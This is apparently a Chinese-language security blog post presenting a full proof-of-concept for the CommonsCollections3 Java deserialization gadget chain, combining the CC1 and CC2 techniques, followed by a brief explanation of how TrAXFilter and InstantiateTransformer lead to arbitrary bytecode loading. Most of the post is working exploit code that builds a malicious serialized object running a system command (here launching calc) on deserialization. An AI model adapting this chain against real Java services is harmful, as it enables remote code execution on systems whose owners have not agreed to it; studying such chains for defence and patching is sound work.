JDK版本:1.7 (8u71之后已修复不可利用)
CommonsCollections 3.1
直接给POC了,就是cc2+cc1
package com.yq1ng.cc3;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
/**
* @author ying
* @Description
* @create 2021-11-23 13:47
*/
public class cc3 {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);
/*
这里new ConstantTransformer(TrAXFilter.class)返回TrAXFilter类,然后传给InstantiateTransformer
InstantiateTransformer在构造函数中实例化TrAXFilter类,然后又调用它的构造方法,进而调用newTransformer()方法
*/
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
});
// 触发InstantiateTransformer#transform()
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3"));
outputStream.writeObject(handler);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
先看com/sun/org/apache/xalan/internal/xsltc/trax/TrAXFilter.java
cc2可以知道,TemplatesImpl是可以加载任意字节码的,这个类先放着。
来看 org/apache/commons/collections/functors/InstantiateTransformer.java
,它的transform()
又可以实例化任意类
而transform()
在cc1中是通过 LazyMap#get()
触发的,cc2与cc1结合起来就达到从LazyMap到加载任意字节码的效果
上面poc实现效果如下